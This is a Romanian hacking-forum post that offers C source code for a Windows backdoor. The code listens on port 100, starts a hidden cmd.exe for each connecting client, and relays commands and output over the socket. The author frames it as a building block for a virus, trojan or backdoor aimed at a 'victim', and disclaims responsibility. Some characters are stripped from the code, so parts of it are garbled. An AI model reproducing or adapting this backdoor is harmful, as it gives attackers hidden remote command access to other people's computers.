Exploit
Administrator
Din: I'm from everywhere..
Inregistrat: acum 18 ani
Postari: 600
|
|
Sa zicem va vreti sa faceti un virustroianbackdoor, si prin multitudinea de comenzi pe care la ve executa veti dori sa aveti acces si la consola victimei. In cele ce urmeaza va voi pune la dispozitie un mic cod care va face acest lucru. Am combinat codul de shell cu unul de server, a.i. sa ruleze ca server si sa va conectati si sa-l testati, pentru ca daca va dadeam doar codul de shell nu il puteati folosi asa aiurea. Deci pentru client recomand ceva putty sau raw client care lam postat intr-alta sectiune. Pentru ca nu am folosit CreateThread(), se va misca cam greu, adica veti da comanda , va astepta 850 ms si apoi va scrie comanda in cmd.exe. Codul propriu-zis de shell va incepe dupa conditia de acceptare conexiuni: "theSck = accept(listen_sock, NULL, NULL);" Sa va explic functionarea.. dupa compilare si executare, va cere directorul de sistem, si afla deci path-ul lui cmd.exe, dupa care va rula ca server si va astepta conexiuni, cand va exista un client conectat va starta cmd.exe in mod ascuns si va astepta comenzi de la client pe care le va scrie in cmd, apoi va citi consola si va trimite clientului, cam ata ete. Are totusi niste buguri greu de rezolvat, nu se poate folosi, sc.exe, dar nu conteaza daca sunteti destepti stiti ca alta sectiune v-am pus la dispozitie ft.exe (client ftp command line). Codul nu are erori de compilare, doar ceva avertizari, dar daca il vezi compila cu altceva decat MVS2005, va trebui sa va modificati functiile in functie de compilator.
SI MARE ATENTIE!! >> NU MA FAC RESPONSABIL DE FAPTELE VOASTRE CU PRIVIRE LA ACEST COD.
=================
/*********************************************** Aceasta sursa trebuie compilata cu Microsoft Visual Studio. In caz ca veti compila cu altceva stergeti directiva de preprocesor cu link catre ws2_32.lib si strcat_s redenumiti-l strcat.
Dupa compilare rezulta un program care ruleaza ca server pe portul 100 si cand exista un client co- nectat va da Shell la CMD.EXE Se poate folosi cu succes intr-un cod de virus. Are ceva bug-uri, dar se pot rezolva. Pt ca nu am utilizat CreateThread(), serverul este cam lenes la receptionat/trimis din cauza lui Sleep(850). Se poate modifica.
By Win32 IAN-2007
***********************************************/ #include <iostream> #include <stdio.h> #include <winsock.h> #include <windows.h> #include <stdlib.h> #pragma comment(lib, "ws2_32" using namespace std; #define addr "\cmd.exe"
int main() { char CMD[260]; GetSystemDirectory(CMD, sizeof(CMD));//Aici afla directorul de sistem. Va fi ceva de genul: "C:windowssystem32" strcat_s(CMD, addr);//strcat_s uneste cele doua siruri si rezulta: "C:Windowssystem32cmd.exe" WSADATA wsdt; if(WSAStartup(MAKEWORD(1,1), &wsdt) != 0){WSACleanup();exit(0);} SOCKET listen_sock;//socketul de ascultare. SOCKET theSck;//socketul de acceptare conexiune. listen_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in local_server; local_server.sin_family = AF_INET; local_server.sin_addr.s_addr = INADDR_ANY; local_server.sin_port = htons(100);//Serverul va asculta pe portul 100 if(bind(listen_sock, (struct sockaddr*)&local_server, sizeof(struct sockaddr)) == SOCKET_ERROR){closesocket(listen_sock);WSACleanup();exit(0);} if(listen(listen_sock, 2) == SOCKET_ERROR) {closesocket(listen_sock);WSACleanup();exit(0);} while(1) { theSck = accept(listen_sock, NULL, NULL); HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr; SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE}; STARTUPINFO si; PROCESS_INFORMATION pi; DWORD stuff; char buff[8000], recvBuff[260]; BOOL firstsend; int offset = 0, bRecv; if(send(theSck,"*========================================rnCopyright (C) 2006-2007 Win32 Corporationrn*========================================rnrn", sizeof("*========================================rnCopyright (C) 2006-2007 Win32 Corporationrn*========================================rnrn", 0) == SOCKET_ERROR) goto closeSck; if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)) { send(theSck, "Eroare la CreatePipe().rn", 25, 0); goto closeSck; } GetStartupInfo(&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.lpReserved = NULL; si.lpTitle = NULL; si.lpDesktop = NULL; si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L; si.lpReserved2 = NULL; si.cbReserved2 = 0; si.wShowWindow = SW_HIDE; si.hStdOutput = stdoutWr; si.hStdError = stdoutWr; si.hStdInput = stdinRd; DuplicateHandle(GetCurrentProcess(), stdoutWr, GetCurrentProcess(), &si.hStdError, DUPLICATE_SAME_ACCESS, TRUE, 0); CreateProcess(CMD, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); while(1) { //Aici va incepe citirea consolei si trimiterea datelor prin socket. Sleep(850); GetExitCodeProcess(pi.hProcess, &stuff); if(stuff != STILL_ACTIVE) break; PeekNamedPipe(stdoutRd, NULL, 0, NULL, &stuff, NULL); if(stuff != 0) { ZeroMemory(buff, sizeof(buff)); firstsend = TRUE; do { ReadFile(stdoutRd, buff,8000, &stuff, NULL); if(firstsend) { send(theSck, buff + offset, strlen(buff) - offset, 0); firstsend = FALSE; } else send(theSck, buff, strlen(buff), 0); printf(buff); } while(stuff == 8000); } //---------------------------------------------------------------- //Aici incepe receptia pe socket si scrierea datelor in consola cmd.exe
if(!strcmp(recvBuff, "rn") offset = 0; bRecv = recv(theSck, recvBuff, 260, 0); if( (bRecv == 0) || (bRecv == SOCKET_ERROR) ) break; recvBuff[bRecv] = ' '; WriteFile(stdinWr, recvBuff, strlen(recvBuff), &stuff, NULL); printf(recvBuff); offset = offset + bRecv; //---------------------------------------------------------------- } closeSck: TerminateProcess(pi.hProcess, 0); CloseHandle(stdinRd); CloseHandle(stdinWr); CloseHandle(stdoutRd); CloseHandle(stdoutWr); closesocket(theSck); } return 0; }
====================
SI MARE ATENTIE!! >> NU MA FAC RESPONSABIL DE FAPTELE VOASTRE CU PRIVIRE LA ACEST COD. <<
_______________________________________ ...:::Only God Can Judge Me:::...
|
|